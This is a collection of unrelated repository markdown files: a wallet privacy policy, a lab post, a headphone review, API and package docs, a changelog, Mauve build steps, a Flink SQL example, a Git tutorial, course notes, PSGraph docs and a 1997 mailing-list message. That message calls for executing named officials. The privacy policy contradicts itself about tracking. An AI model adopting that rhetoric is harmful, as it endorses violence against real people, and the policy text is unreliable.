text:
title: My Free TON wallet web-extension privacy
---

<img style="width: 256px; margin-left: auto; margin-right: auto; text-align: center; display: block;" src="/images/big_logo.png" />

> These docs are still being worked on. Some parts may be unfinished or pending updates.

# Privacy Policy
This privacy policy has been compiled to better serve those who are concerned with how their 'Personally Identifiable Information' (PII) is being used online. Please read our privacy policy carefully to get a clear understanding of how we collect, use, protect or otherwise handle your Personally Identifiable Information in accordance with our website
https://mytonwallet.com and web-extension.

What personal information do we collect from the people that visit website?

When ordering or registering on our site, as appropriate, you may be asked to enter your name, email address, mailing address, phone number, credit card information, Information required for "know your customer" and "anti-money laundering" checks where applicable or other details to help you with your experience.

When do we collect information?

We collect information from you when you register on our site, place an order, subscribe to a newsletter, fill out a form or enter information on our site.

How do we use your information?

We may use the information we collect from you when you register to make a purchase, sign up for our newsletter, respond to a survey or marketing communication, surf the website, or use certain other site features in the following ways:

* To personalize your experience and to allow us to deliver the type of content and product offerings in which you are most interested.
* To improve our website in order to better serve you.
* To allow us to better service you in responding to your customer service requests.
* To administer a contest, promotion, survey or other site feature.
* To quickly process your transactions.
* To send periodic emails regarding your order or other products and services. To follow up with them after correspondence (live chat, email or phone inquiries)

How do we protect your information?

Our website is scanned on a regular basis for security holes and known vulnerabilities in order to make your visit to our site as safe as possible. We use regular Malware Scanning. Your personal information is contained behind secured networks and is only accessible by a limited number of persons who have special access rights to such systems, and they are required to keep the information confidential. In addition, all sensitive/credit information you supply is encrypted via Secure Socket Layer (SSL) technology. We implement a variety of security measures when a user places an order, enters, submits, or accesses their information to maintain the safety of your personal information. All transactions are processed through a gateway provider and are not stored or processed on our servers.

Do we use 'cookies'?

Yes. Cookies are small files that a site or its service provider transfers to your computer's hard drive through your Web browser (if you allow) that enables the site's or service provider's systems to recognize your browser and capture and remember certain information. For instance, we use cookies to help us remember and process the items in your shopping cart. They are also used to help us understand your preferences based on previous or current site activity, which enables us to provide you with improved services. We also use cookies to help us compile aggregate data about site traffic and site interaction so that we can offer better site experiences and tools in the future.

We use cookies to:

* Help remember and process the items in the shopping cart.
* Understand and save user's preferences for future visits.
* Keep track of advertisements.
* Compile aggregate data about site traffic and site interactions in order to offer better site experiences and tools in the future. We may also use trusted third-party services that track this information on our behalf. You can choose to have your computer warn you each time a cookie is being sent, or you can choose to turn off all cookies. You do this through your browser settings. Since every browser is a little different, look at your browser's Help Menu to learn the correct way to modify your cookies.
If users disable cookies in their browser: If you turn cookies off, some of the features that make your site experience more efficient may not function properly.

Third-party disclosure

We do not sell, trade, or otherwise transfer to outside parties your Personally Identifiable Information unless we provide users with advance notice. This does not include website hosting partners and other parties who assist us in operating our website, conducting our business, or serving our users, so long as those parties agree to keep this information confidential. We may also release information when it's release is appropriate to comply with the law, enforce our site policies, or protect ours or others' rights, property or safety. However, non-personally identifiable visitor information may be provided to other parties for marketing, advertising, or other uses.

Third-party links

Occasionally, at our discretion, we may include or offer third-party products or services on our website. These third-party sites have separate and independent privacy policies. We therefore have no responsibility or liability for the content and activities of these linked sites. Nonetheless, we seek to protect the integrity of our site and welcome any feedback about these sites.

We have implemented the following:
We, along with third-party vendors such as Google use first-party cookies (such as the Google Analytics cookies) and third-party cookies (such as the DoubleClick cookie) or other third-party identifiers together to compile data regarding user interactions with ad impressions and other ad service functions as they relate to our website.

Opting out:
Users can opt out by visiting the Network Advertising Initiative Opt Out page.

We agree to the following:
* Users can visit our site anonymously.
* Once this privacy policy is created, we will add a link to it on our home page or as a minimum, on the first significant page after entering our website.
* Our Privacy Policy link includes the word 'Privacy' and can easily be found on the page specified above.
You will be notified of any Privacy Policy changes:
* On our Privacy Policy Page You can change your personal information:
* By logging into your account
* By chatting with us or by sending us a support ticket

How does our site handle “Do Not Track” signals?
We honor Do Not Track signals and Do Not Track, plant cookies, or use advertising when a Do Not Track (DNT) browser mechanism is in place.

Does our site allow third-party behavioral tracking?
It's also important to note that we do not allow third-party behavioral tracking.

CAN SPAM Act

The CAN-SPAM Act is a law that sets the rules for commercial email, establishes requirements for commercial messages, gives recipients the right to have emails stopped from being sent to them, and spells out tough penalties for violations.
We collect your email address in order to:
* Send information, respond to inquiries, and/or other requests or questions.
* Process orders and to send information and updates pertaining to orders.
* Send you additional information related to your product and/or service
* Market to our mailing list or continue to send emails to our clients after the original transaction has occurred.
To be in accordance with CANSPAM, we agree to the following:
* Not use false or misleading subjects or email addresses.
* Identify the message as an advertisement in some reasonable way.
* Include the physical address of our business or site headquarters.
* Monitor third-party email marketing services for compliance, if one is used.
* Honor opt-out/unsubscribe requests quickly.
* Allow users to unsubscribe by using the link at the bottom of each email.
If at any time you would like to unsubscribe from receiving future emails, you can email us at<EMAIL_ADDRESS>and we will promptly remove you from ALL correspondence.

Contacting Us
If there are any questions regarding this privacy policy, you may contact us using the information below<EMAIL_ADDRESS>

repository: mytonwallet/mytonwallet-doc

repo_name: mytonwallet/mytonwallet-doc


text:
+++
title = "Alexander Lab at OSM 2020"
subtitle = ""

# Add a summary to display on homepage (optional).
summary = ""

date = 2020-02-10T13:00:05-05:00
draft = false

# Authors. Comma separated list, e.g. `["Bob Smith", "David Jones"]`.
authors = ["halexand"]

# Is this a featured post? (true/false)
featured = false

# Tags and categories
# For example, use `tags = []` for no tags, or the form `tags = ["A Tag", "Another Tag"]` for one or more tags.
tags = ['conferences']
categories = ['conferences']

# Projects (optional).
#   Associate this post with one or more of your projects.
#   Simply enter your project's folder or file name without extension.
#   E.g. `projects = ["deep-learning"]` references
#   `content/project/deep-learning/index.md`.
#   Otherwise, set `projects = []`.
# projects = ["internal-project"]

# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
[image]
  # Caption (optional)
  caption = ""

  # Focal point (optional)
  # Options: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight
  focal_point = ""
+++

I am heading to Ocean Sciences Meeting next week in San Diego along with [Laura Blum](/authors/lblum/), an undergraduate researcher doing her thesis research with [Maria Pachiadaki](https://twitter.com/microbiaki), [Erin Eggleston](https://twitter.com/EggErin), and myself. We have two presentations (that are bookending the meeting --  Monday and Friday) that are both related to work we have been doing looking at MAGs from the larger size fraction metagenomic datasets generated as part of the Tara Expedition.

#### **Microbial drivers of nitrogen metabolism: Searching Tara Oceans metagenomes**
**Laura Blum**, Erin Eggleston, Maria Pachiadaki, & Harriet Alexander
 Poster# MM14A-0283
 Monday 17 February 2020 16:00 - 18:00

#### **Eukaryotic genome discovery: Scalable and automated retrieval of eukaryotic metagenome assembled genomes (MAGs) from a global-scale dataset**

**Harriet Alexander** &  Sarah K Hu
 Session# OB53C: *Toward BioGeoSCAPES: Exploring Molecular Drivers of Ocean Metabolism and Biogeochemistry*
 Friday 21 February 2020 14:30 - 14:45, SDCC - 2, UL

license: MIT

repository: AlexanderLabWHOI/academic-kickstart

branch_name: refs/heads/master

extension: md

gha_language: TeX

gha_license_id: MIT

license_type: permissive

repo_name: AlexanderLabWHOI/academic-kickstart


text:
---
layout: post
title: Audio-technica ATH-M50x for the music-conscious silent developer
---

I am a silent developer.

I like to be in a quiet room and to focus deeply on what I do.

This means I'm not comfortable working in an open-space office -- which unfortunately is exactly the kind of environment I have to cope with.
How? Of course, by putting on a pair of trusty headphones and pushing that volume **UP**.

But which headphones? One could just go with the cheapest pair one could find, and hope for sufficient isolation from the external environment... But I have clearer requirements. More specifically, I need a pair of headphones that:

- are over-the-ear: I need my ears covered to maximize isolation
- are closed-back: I don't want my colleagues to be bothered by my music
- isolate well: the previous two requirements alone do not guarantee that the headphones isolate you from the external environment
- have decent build quality: I want not to worry about handling my headphones when I’m absorbed by work
- have soft pads/are comfortable: for long hours of use
- have a pleasant sound (with a relatively flat frequency response): I'm no audiophile, but if the headphones do not deliver a decent sound quality, I’d rather avoid listening to music altogether

And, of course:

- sell at a decent price: ideally under 200€

As you can see, those are pretty clear and strict requirements.

I've done some research on the Internet, and luckily one of my favorite youtubers came out with a good candidate: the Audio-technica ATH-M50x -- see [this](https://www.youtube.com/watch?v=y5DyEYuvF3o) and [this](https://www.youtube.com/watch?v=lEjwyYOFwZg) videos.

These headphones tick all the boxes, and sell [on Amazon](https://www.amazon.it/Technica-ATH-M50X-Cuffie-Monitor-Professionali/dp/B00HVLUR86) for less than 200€ (or around 200$).

Best of all, their frequency response is fairly flat. In fact, the lower frequencies are enhanced ever so slightly, but the overall sound is pleasant and detailed.

I hope that this post will help you choosing the right headphones for you ;)


text:
# V0CommandScheduleArgsTimeTypeEnum

### Description

The Time-Type argument, in Schedule args, is to indicate which timezone the Command Framework should utilize when scheduling the command. Following Schedule Args for Time-Type are supported:  ``` * CONSOLE: Use the local timezone of the user creating the schedule. * DEVICE: Use the local timezone of the device, to which the command is issued, wherever it may be. ```

## Properties
Name | Type
------------ | -------------
**console** | string
**device** | string

[[Back to Model list]](../README.md#documentation-for-models) [[Back to API list]](../README.md#documentation-for-api-endpoints) [[Back to README]](../README.md)

repository: esper-io/esper-client-py

gha_language: Python

repo_name: esper-io/esper-client-py


text:
# RetentionParameterEstimator.jl

[![DOI:10.1016/j.chroma.2023.464008](http://img.shields.io/badge/DOI-10.1016/j.chroma.2023.464008-B31B1B.svg)](https://doi.org/10.1016/j.chroma.2023.464008)
[![DOI](https://zenodo.org/badge/550339258.svg)](https://zenodo.org/badge/latestdoi/550339258)
[![](https://img.shields.io/badge/docs-stable-blue.svg)](https://JanLeppert.github.io/RetentionParameterEstimator.jl/stable)
[![](https://img.shields.io/badge/docs-dev-blue.svg)](https://JanLeppert.github.io/RetentionParameterEstimator.jl/dev)
[![CI](https://github.com/JanLeppert/RetentionParameterEstimator.jl/actions/workflows/ci.yml/badge.svg)](https://github.com/JanLeppert/RetentionParameterEstimator.jl/actions/workflows/ci.yml)
[![codecov.io](http://codecov.io/github/JanLeppert/RetentionParameterEstimator.jl/coverage.svg?branch=main)](http://codecov.io/github/JanLeppert/RetentionParameterEstimator.jl?branch=main)

Estimation of retention parameters for the interaction of analytes with a stationary phase in Gas Chromatography (GC).

The retention parameters are estimated from a set of temperature programmed GC runs. The GC simulation ['GasChromatographySimulator.jl'](https://github.com/JanLeppert/GasChromatographySimulator.jl) is used to compute the retention times with several sets of estimated retention parameters and compare these computed retention times with the measured retention times. An optimization process is used to minimize the difference between computed and measured retention times. The retention parameters resulting in this minimized difference are the final result. In addition it is also possible to estimate the column diameter _d_.

## Installation

To install the package type:

```julia
julia> ] add RetentionParameterEstimator
```

To use the package type:

```julia
julia> using RetentionParameterEstimator
```

## Documentation

Please read the [documentation page](https://janleppert.github.io/RetentionParameterEstimator.jl/stable/) for more information.

## Notebooks

In the folder [notebooks](https://github.com/JanLeppert/RetentionParameterEstimator/tree/main/notebooks) notebooks, using [Pluto.jl](https://github.com/fonsp/Pluto.jl), for the estimation of retention parameters from temperature programmed GC measurements are available.

To use these notebooks [Julia, v1.6 or above,](https://julialang.org/downloads/#current_stable_release) must be installed and **Pluto** must be added:

```julia
julia> ]
(v1.7) pkg> add Pluto
```

To run Pluto, use the following commands:

```julia
julia> using Pluto
julia> Pluto.run()
```

Pluto will open your browser. In the field `Open from file` the URL of a notebook or the path to a locally downloaded notebook can be insert and the notebook will open and load the necessary packages.

### Overview of notebooks

- `estimate_retention_parameters.jl` (https://github.com/JanLeppert/RetentionParameterEstimator.jl/blob/main/notebooks/estimate_retention_parameters.jl):
  - Notebook to estimate the retention parameters and optional the column diameter from measured chromatograms
  - a standard error for the estimated parameters is given
  - comparison of other measured chromatograms with predicted chromatograms using the found optimal parameters
  - plot of the resulting retention factor ``k`` over temperature ``T``, a comparing plot with other data (e.g. isothermal measured) is possible
  - in default, the notebook uses the data from the publication

## Contribution

Please open an issue if you:
- want to report a bug
- have problems using the package (please first look at the documentation)
- have ideas for new features or ways to improve the usage of this package

You can contribute (e.g. fix bugs, add new features, add to the documentation) to this package by Pull Request:
- first discuss your contributions in a new issue
- ensure that all tests pass locally before starting the pull request
- new features should be included in `runtests.jl`
- add description to the pull request, link to corresponding issues by `#` and issue number
- the pull request will be reviewed

## Citation

```
@article{Leppert2023,
  author = {Leppert, Jan and Brehmer, Tillman and Wüst, Matthias and Boeker, Peter},
	title = {Estimation of retention parameters from temperature programmed gas chromatography},
  journal = {Journal of Chromatography A},
  month = jun,
	year = {2023},
	volume = {1699},
  pages = {464008},
  issn = {00219673},
	doi = {10.1016/j.chroma.2023.464008},
}
```

branch_name: refs/heads/main

gha_language: Julia


text:
# individual 0.1.10

  * Vector-based updates are consolidated into one place
  * Resizing memory bug fixed
  * Simplifed RaggedVariable instantiations to aliases until implementations are implemented

# individual 0.1.9

  * All variables and targeted events are resizable
  * Ragged variables for integers and doubles

# individual 0.1.8

  * [fix bug](https://github.com/mrc-ide/individual/pull/163) with C++ event
  listeners

# individual 0.1.7

  * Check for bad bitset input when queueing updates to CategoricalVariable objects
  [PR here](https://github.com/mrc-ide/individual/pull/145)
  * Add "bench" package to suggests and include benchmarking scripts of major
  functionality in `tests/performance` [PR here](https://github.com/mrc-ide/individual/pull/151)
  * Update to latest version of "testthat" package so that C++ tests of `IterableBitset`
  object can be run without giving LTO check errors (see `src/test-bitset.cpp`)
  * Add CITATION file
  * Add method `Bitset$clear` to zero out all set bits in bitsets [PR here](https://github.com/mrc-ide/individual/pull/157)
  * Fix bug ([issue here](https://github.com/mrc-ide/individual/issues/152)) where `DoubleVariable` and `IntegerVariable` updates could change size of the variable object [PR here](https://github.com/mrc-ide/individual/pull/156)

# individual 0.1.6

  * Added a `NEWS.md` file to track changes to the package.
  * Add Mac OS files to .gitignore
  * Update pkgdown reference organization.
  * Update [R-CMD-check workflow](https://github.com/r-lib/actions/tree/master/examples#standard-ci-workflow).
  * `Event.h` now defines class methods outside of the class definition for
  easier readability, and add documentation.
  * `TargetedEvent$schedule` now dispatches to different C++ functions in `event.cpp`
  and `Event.h` depending on if input index is a bitset or vector (previous
  behavior used bitset's $to_vector$ method in R to pass a vector).
  * `test-event.R` now only contains tests for `Event` class, new test file
  `test-targetedevent.R` contains a much updated suite of tests for the
  `TargetedEvent` class.
  * Fix bug where `CategoricalVariable` could be queued updates for indices in
  a vector that were outside the range of the population.
  * Update `Bitset$not` to operate in place. inplace = FALSE will be deprecated
    in 0.2.0
  * Rename the IterableBitset ~ operator to !

# individual 0.1.5

  * Added package logo.
  * Update DESCRIPTION and remove "reshape2" from suggested packages.
  * If given a `Bitset` for argument `index`, `queue_update` methods for
  `IntegerVariable` and `DoubleVariable` pass the bitset directly to the C++
  functions `integer_variable_queue_update_bitset` and `double_variable_queue_update_bitset`
  rather than converting to vector and using vector methods.
  * `CategoricalVariable.h`, `IntegerVariable.h`, and `DoubleVariable.h` now define
  class methods outside of the class definition for easier readability, and add
  documentation.
  * `CategoricalVariable`, `IntegerVariable`, and `DoubleVariable` classes define
  a virtual destructor with default implementation.
  * `get_index_of_set` and `get_size_of_set_vector` methods for `IntegerVariable`
  now pass arguments by reference.
  * `get_values` method for `IntegerVariable` and `DoubleVariable` corrected to
  return value rather than reference.
  * add overload for `get_values` for `IntegerVariable` and `DoubleVariable` to
  accept `std::vector<size_t>` as argument rather than converting to bitset.
  * add function `bitset_to_vector_internal` to `IterableBitset.h`.
  * split `testthat/test/test-variables.R` into `testthat/test/test-categoricalvariable.R`,
  `testthat/test/test-integervariable.R`, and `testthat/test/test-doublevariable.R`
  * remove unnecessary `#include` statements from header files.
  * remove unnecessary comparisons for `size_t` types.

repository: mrc-ide/individual

gha_language: R

gha_license_id: NOASSERTION

repo_name: mrc-ide/individual


text:
---
layout: mauvepage
---

### Building Mauve for Mac

#### Brief instructions for the lazy

1.  Ensure that pkg-config is installed
2.  `svn co https://svn.code.sf.net/p/mauve/code/build_scripts`
3.  `cd build_scripts`
4.  `./build_osx.sh`

The resulting Mauve.app binaries will be located in
`build/mauve/dist/`
note that the build process will fail at the code signing stage, but the error can be safely ignored and the app used unsigned.

#### Detailed build instructions

##### Phase 0.  Install Xcode developer tools

This can be obtained from the App store

##### Phase 1. Install autotools & pkg-config

These are required to build Mauve, and many other open source tools:

	curl -OL http://ftpmirror.gnu.org/autoconf/autoconf-2.69.tar.gz
	tar -xzf autoconf-2.69.tar.gz
	cd autoconf-2.69
	./configure && make && sudo make install
	cd ..

	curl -OL http://ftpmirror.gnu.org/automake/automake-1.14.1.tar.gz
	tar -xzf automake-1.14.1.tar.gz
	cd automake-1.14.1
	./configure && make && sudo make install
	cd ..

	curl -OL http://ftpmirror.gnu.org/libtool/libtool-2.4.4.tar.gz
	tar -xzf libtool-2.4.4.tar.gz
	cd libtool-2.4.4
	./configure && make && sudo make install
	cd ..

	curl -OL http://pkgconfig.freedesktop.org/releases/pkg-config-0.28.tar.gz
	tar -xzf pkg-config-0.28.tar.gz
	cd pkg-config-0.28
	./configure --with-internal-glib && make && sudo make install
	cd ..

##### Phase 2.  Build the aligners

Once Xcode, autotools, and pkg-config have been installed, it's necessary to set CFLAGS and CXXFLAGS appropriately:

	export CFLAGS="-O3 -g -mmacosx-version-min=10.7 -arch i386 -arch x86_64"
	export CXXFLAGS="-O3 -g -mmacosx-version-min=10.7 -arch i386 -arch x86_64"

**the above do not permit linking with boost libs!**

It may be desirable to set these variables inside $HOME/.profile so they get configured automatically on login.  Other important environment variables and their settings may be:

	export PKG_CONFIG_PATH="$HOME/lib/pkgconfig"
	export LD_LIBRARY_PATH="$HOME/lib"
	export SVN_EDITOR=vi
	export PATH="/usr/local/bin:$HOME/bin:$PATH"

At this point, the mauveAligner source and libraries can be built with the usual procedure.  When running ./configure, it is necessary to add both --disable-shared for an OS X build:

	curl -OL http://downloads.sourceforge.net/project/boost/boost/1.57.0/boost_1_57_0.tar.bz2
	tar -xjf boost_1_57_0.tar.bz2
	cd boost_1_57_0
	./bootstrap.sh --prefix=$HOME --with-libraries=filesystem,iostreams,program_options,system
	./b2 -a -j4 toolset=darwin link=static install
	cd ..

	cd libGenome ; ./autogen.sh
	./configure --prefix=$HOME --disable-shared
	make install ; cd ..

	cd muscle ; ./autogen.sh
	./configure --prefix=$HOME --disable-shared
	make ; make install ; cd ..

	cd libMems ; ./autogen.sh
	./configure --prefix=$HOME --disable-shared
	make install ; cd ..

	cd mauveAligner ; ./autogen.sh
	./configure --prefix=$HOME --disable-shared
	make install ; cd ..

	cd sgEvolver ; ./autogen.sh
	./configure --prefix=$HOME --disable-shared
	make install ; cd ..

##### Phase 3.  Build the Java GUI and make a disk image

This part of the build requires a [Java Development Kit](http://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html) and [Apache Ant](http://ant.apache.org) to be installed.  With that done, copy the freshly build `mauveAligner` and `progressiveMauve` binaries into the mauve/osx subdirectory and strip them of debugging symbols:

	strip osx/mauveAligner
	strip osx/progressiveMauve

That reduces the distributable binary size from >100Mb to less than 10Mb.  Then run:

	ant macdist

#### Historical information on building for Mac OS X 10.3

Since Apple's migration to Intel CPUs, Mac software should be compiled for both Intel and PowerPC CPUs, at least for the time being. Apple refers to programs with both PPC and x86 code as "universal". Building a universal library with GNU autotools is nearly impossible, so it's necessary to build x86 and PPC libraries and binaries separately and then join the result with the lipo tool. To build for a PowerPC CPU on an Intel machine, set the following environment variables:

	export CFLAGS="-O3 -g -isysroot /Developer/SDKs/MacOSX10.3.9.sdk -arch ppc"
	export CXXFLAGS="-O3 -g -isysroot /Developer/SDKs/MacOSX10.3.9.sdk -arch ppc"

And compile boost with `bjam "-sTOOLS=darwin" "-sGXX=g++ -O3 -g -isysroot /Developer/SDKs/MacOSX10.3.9.sdk -arch ppc" "-sGCC=gcc -O3 -g -isysroot /Developer/SDKs/MacOSX10.3.9.sdk -arch ppc" "-sBUILD=release <linkflags>-Wl,-syslibroot,/Developer/SDKs/MacOSX10.3.9.sdk <runtime-link>static <threading>single/multi" --prefix=$HOME install` The rest of the build procedure remains the same. The resulting libraries and applications will run on any PowerPC mac with an OS as old as 10.3.9. To create a single universal binary for mauveAligner, run something akin to the following command `lipo -create mauveAligner-intel mauveAligner-ppc -output mauveAligner` where mauveAligner-intel and mauveAligner-ppc are the paths to the intel and ppc mauveAligner binaries, respectively.

repository: koadman/platypusfarm

gha_language: CSS

repo_name: koadman/platypusfarm


text:
# 04 Lookup Joins

> :bulb: This example will show how you can enrich a stream with an external table of reference data (i.e. a _lookup_ table).

## Data Enrichment

Not all data changes frequently, even when working in real-time: in some cases, you might need to enrich streaming data with static — or _reference_ — data that is stored externally.
For example, `user` metadata may be stored in a relational database that Flink needs to join against directly.
Flink SQL allows you to look up reference data and join it with a stream using a _lookup join_. The join requires one table to have a [processing time attribute](https://docs.ververica.com/user_guide/sql_development/table_view.html#processing-time-attributes) and the other table to be backed by a [lookup source connector](https://docs.ververica.com/user_guide/sql_development/connectors.html#id1), like the JDBC connector.

## Using Lookup Joins

In this example, you will look up reference user data stored in MySQL to flag subscription events for users that are minors (`age < 18`). The `FOR SYSTEM_TIME AS OF` clause uses the processing time attribute to ensure that each row of the `subscriptions` table is joined with the `users` rows that match the join predicate at the point in time when the `subscriptions` row is processed by the join operator. The lookup join also requires an equality join predicate based on the `PRIMARY KEY` of the lookup table (`usub.user_id = u.user_id`). Here, the source does not have to read the entire table and can lazily fetch individual values from the external table when necessary.

## Script

The source table (`subscriptions`) is backed by the [`faker` connector](https://flink-packages.org/packages/flink-faker), which continuously generates rows in memory based on Java Faker expressions. The `users` table is backed by an existing MySQL reference table using the [JDBC connector](https://ci.apache.org/projects/flink/flink-docs-stable/dev/table/connectors/jdbc.html).

```sql
CREATE TABLE subscriptions (
    id STRING,
    user_id INT,
    type STRING,
    start_date TIMESTAMP(3),
    end_date TIMESTAMP(3),
    payment_expiration TIMESTAMP(3),
    proc_time AS PROCTIME()
) WITH (
  'connector' = 'faker',
  'fields.id.expression' = '#{Internet.uuid}',
  'fields.user_id.expression' = '#{number.numberBetween ''1'',''50''}',
  'fields.type.expression'= '#{regexify ''(basic|premium|platinum){1}''}',
  'fields.start_date.expression' = '#{date.past ''30'',''DAYS''}',
  'fields.end_date.expression' = '#{date.future ''365'',''DAYS''}',
  'fields.payment_expiration.expression' = '#{date.future ''365'',''DAYS''}'
);

CREATE TABLE users (
 user_id INT PRIMARY KEY,
 user_name VARCHAR(255) NOT NULL,
 age INT NOT NULL
)
WITH (
  'connector' = 'jdbc',
  'url' = 'jdbc:mysql://localhost:3306/mysql-database',
  'table-name' = 'users',
  'username' = 'mysql-user',
  'password' = 'mysql-password'
);

SELECT
  id AS subscription_id,
  type AS subscription_type,
  age AS user_age,
  CASE
    WHEN age < 18 THEN 1
    ELSE 0
  END AS is_minor
FROM subscriptions usub
JOIN users FOR SYSTEM_TIME AS OF usub.proc_time AS u
  ON usub.user_id = u.user_id;
```

## Example Output

![18_lookup_joins](https://user-images.githubusercontent.com/23521087/102645588-fcdeea80-4162-11eb-8581-55a06ea82518.png)

repository: martinzsir/flink-sql-cookbook

repo_name: martinzsir/flink-sql-cookbook


text:
---
ID: 1243
title: 'Git 101 – Step 3: branches'
author: Raymon S
excerpt: ""

slug: 2017/12/git-101-step-3-branches/
published: true
date: 2017-12-12 10:03:07
---
This time we are going to talk about how you can handle branches with Git on the terminal 🚀. For a full explanation check the video 😉

https://youtu.be/Kf4sjbE-G24

What is a Git branch?

A branch is a separate workspace, it’s like a bucket where you can fiddle around without screwing the production application.

You create branches when you are gonna make new functionality or features for your application.

So let’s get started with branches!

Check your branch

Check your branches

If you want to know on which branch you are currently working?  Sometimes your branches are behind of the branches on the remote. So to update this list, use this command.
```
git fetch origin```

Do something with your branch!

Create branch

Now we want to create a branch, because we want to fiddle around without the code. Pretty easy command. Keep in mind to use "-b" instead of the "-d"!! 😅, because the "-d" will delete your branch!
```
git checkout -b branch_name```
Push to a branch

When you made some changes, staged them and added a commit message, we want to push our branch to the remote. Use this command for it!
```
git push origin branch_name```
Pull changes from a branch

When your team member made some change to the same branch you are working on. You can pull those changes from the remote into your local branch with this command.
```
git pull origin branch_name```
Switch branch

Sometimes you want to switch to another branch for some reason. Just checkout the other branch with this command.
```
git checkout branch_name```
Delete local branch

Be careful with this command! If you didn't pushed the changes in this branch, all the changes will be lost with this command!
```
git branch -d branch_name```

Do you need some help?

If your working with Git, but getting stuck? Please let me know in the comments or hit me on twitter @frontendmr and I would ❤ to help you out!

Did you liked this post? Please share it around 🙏

gha_language: JavaScript


text:
# GEN 220 Project Presentation information

Try to keep this to 10 minutes.

My goals of the presentation are:
1. Be able to introduce a research problem
2. Describe the data you will use or have collected
3. Describe the process/code/workflow you have or will be using
4. Any results, patterns or summary of the results
5. Any problems or challenges encountered

You can make your presentation as a webpage to show during class, slides in google slides/powerpoint etc.

Just give us some sense of what data you collected / used (organisms or data types is helpful), It is usually not that helpful to try to show actual code during these presentations unless you want to. The best is to explain as a diagram or with words, the steps your processes go through to process or transform the data and what results you have or expect to have at the end.


text:
---
layout: default
---

# 1997-08-22 - Re: State Charges in Weaver Case

## Header Data

From: "William H. Geiger III"<EMAIL_ADDRESS>To: Mike Duvos<EMAIL_ADDRESS>Message Hash: 16ddc0997150aa856beb46f1901dae1816532cdc69af87fc82e16b1a99e66493

Message ID<EMAIL_ADDRESS>Reply To<EMAIL_ADDRESS>UTC Datetime: 1997-08-22 08:09:26 UTC

Raw Date: Fri, 22 Aug 1997 16:09:26 +0800

## Raw message

```
{% raw  %}From: "William H. Geiger III"<EMAIL_ADDRESS>Date: Fri, 22 Aug 1997 16:09:26 +0800
To: Mike Duvos<EMAIL_ADDRESS>Subject: Re: State Charges in Weaver Case
In-Reply-To<EMAIL_ADDRESS>Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

-----BEGIN PGP SIGNED MESSAGE-----

In<EMAIL_ADDRESS>on 08/21/97
   at 05:59 PM, Mike Duvos<EMAIL_ADDRESS>said:

>Here's an odd Ruby Ridge development, which just floated across Reuters.

>Idaho prosecutors have filed two sets of state charges against persons
>involved in the incident.

>Kevin Harris was charged with First Degree Murder for "killing Deputy
>U.S. Marshall William Degan willfully and with malice aforethought."

>FBI Sniper Lon Horiuchi was charged with involuntary manslaughter in the
>death of Vicki Weaver.

>Shouldn't it be First Degree Murder for deliberately killing someones
>wife with a baby in her arms, and involuntary
>manslaughter for using possibly excessive force against an armed
>attacker?

>Seems a bit backwards to me.

>I suppose it has something to do with that "only following
>orders" thing. :)

He should be up on 1st Degree Murder charges as these were a planned,
permeditated murders. Freeh, Reno, and Clinton should all be up on the
same caharges as co-consiritors for planning and ordering the murders and
for covering up the matter after the fact.

Of cource all 3 should be introduced to "'ol Sparky" for their part in the
murders at Waco.

- --
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM/0w349Co1n+aLhhAQHhgAP/YoyZAMWVGGXUKpJLZPENf0dVYYxTQBWb
GbZ6pOdI1Jdh4lA95IoZ4mA1iPIKLZ4cq0FjEDtThy6cXdJUXRWgRFpV54NrwqsO
+VbIZQRhcgoUsYXsUIO5lHzAfsarp4RsVHNEmf3D+IWKAt24xyfTgAnSL+pq58EL
Kb+Te+I60rc=
=6/NF
-----END PGP SIGNATURE-----

{% endraw %}
```

## Thread

+ Return to [August 1997](/archive/1997/08)

+ Return to<EMAIL_ADDRESS>(Dr.Dimitri Vulis KOTM)](/authors/dlv_at_bwalk_dm_com_dr_dimitri_vulis_kotm_)"
+ Return to "[Mike Duvos <enoch@zipcon.net>](/authors/mike_duvos_enoch_at_zipcon_net_)"
+ Return to "[Ray Arachelian <sunder@brainlink.com>](/authors/ray_arachelian_sunder_at_brainlink_com_)"
+ Return to "["William H. Geiger III" <whgiii@amaranth.com>](/authors/william_h_geiger_iii_whgiii_at_amaranth_com_)"

+ 1997-08-22 (Fri, 22 Aug 1997 09:13:11 +0800) - [State Charges in Weaver Case](/archive/1997/08/68a363f442b22018bf4f7dad1588d12781fcd7afcc68c655df5672b7bb9bcb4a) - _Mike Duvos<EMAIL_ADDRESS>  + 1997-08-22 (Fri, 22 Aug 1997 09:37:37 +0800) - [Re: State Charges in Weaver Case](/archive/1997/08/47eb739f4a7455b1d9074519057bc4bf3bd4e429d3ef1c3f2ba9ee6f4e0597d8) - _Ray Arachelian<EMAIL_ADDRESS>  + 1997-08-22 (Fri, 22 Aug 1997 15:00:47 +0800) - [Re: State Charges in Weaver Case](/archive/1997/08/25cb8aaa219abdc7de4fc62a14d8c06e0da6bcaa15128d796e3cbd05c08929eb) -<EMAIL_ADDRESS>(Dr.Dimitri Vulis KOTM)_
  + 1997-08-22 (Fri, 22 Aug 1997 16:09:26 +0800) - Re: State Charges in Weaver Case - _"William H. Geiger III"<EMAIL_ADDRESS>


text:
# Node [string[]]
With the DOT specification, a node will be created any time it is references. So if you create a bunch of edges to nodes, that will create those nodes on the graph.

You use the node command for two reasons. To specify attributes or to place a node in a specific subgraph.

## Node [string[]] -Attribute [hashtable]

Here is an example of specifying attributes for a node.

    graph g {
        node start @{shape='house'}
        edge start,middle,end
        node end @{shape='invhouse'}
    }

[![Source](images/houseShape.png)](images/houseShape.png)

You can specify multiple nodes at once just like you can edges.

    graph g {
        node one,three @{shape='rectangle'}
        edge one,two,three,four
    }

[![Source](images/alternatingShapes.png)](images/alternatingShapes.png)

# Node Advanced
## Node [hashtable]
You can specify default node attributes and any node that gets defined down script will inherit those values.

    graph g {
        node @{shape='rectangle'}
        edge a,b,c,a
    }

